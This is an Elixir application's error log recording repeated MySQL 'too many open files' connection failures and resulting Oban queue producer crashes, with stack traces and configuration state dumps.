[Sun Sep  6 00:11:47.274000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:48.079000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:48.567000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:11:37.239138Z], limit: 20, uuid: "ed167ba9-972d-46b9-b23e-b0d615510496", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:37.239144Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.50472>, refresh_timer: #Reference<0.2525715032.1099431938.50464>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:49.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:11:37.239121Z], limit: 5, uuid: "3aa4740a-1e6d-4cd9-9c0b-f08ddeee68e9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:37.239128Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.164093>, refresh_timer: #Reference<0.2525715032.1077673987.26150>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:11:37.241695Z], limit: 50, uuid: "d9238af5-c8a3-4dc8-a5e8-69b2022d7f48", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:37.241701Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.50473>, refresh_timer: #Reference<0.2525715032.1068498948.50447>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:49.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:11:37.239621Z], limit: 3, uuid: "9a077488-4a10-46dd-89ee-08229d905f1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:37.239626Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.164094>, refresh_timer: #Reference<0.2525715032.1077673987.26168>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:49.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:11:37.239635Z], limit: 5, uuid: "710323e4-1009-4023-8bac-34c42705a205", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:37.239641Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.26211>, refresh_timer: #Reference<0.2525715032.1077673987.26172>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:49.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:11:37.240103Z], limit: 10, uuid: "ad0f0288-a87f-4400-b75b-1914223e9b17", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:37.240109Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.164092>, refresh_timer: #Reference<0.2525715032.1121189889.164084>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:54.613000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:56.090000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:59.011000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:01.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:11:49.240124Z], limit: 5, uuid: "7fd3b492-9112-4949-85ac-373346d11db4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:49.240130Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.26582>, refresh_timer: #Reference<0.2525715032.1121189889.164315>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:11:49.242119Z], limit: 3, uuid: "2495b522-e17d-49e1-a8e1-76f628cc6bc0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:49.242128Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.26579>, refresh_timer: #Reference<0.2525715032.1077673987.26569>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:01.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
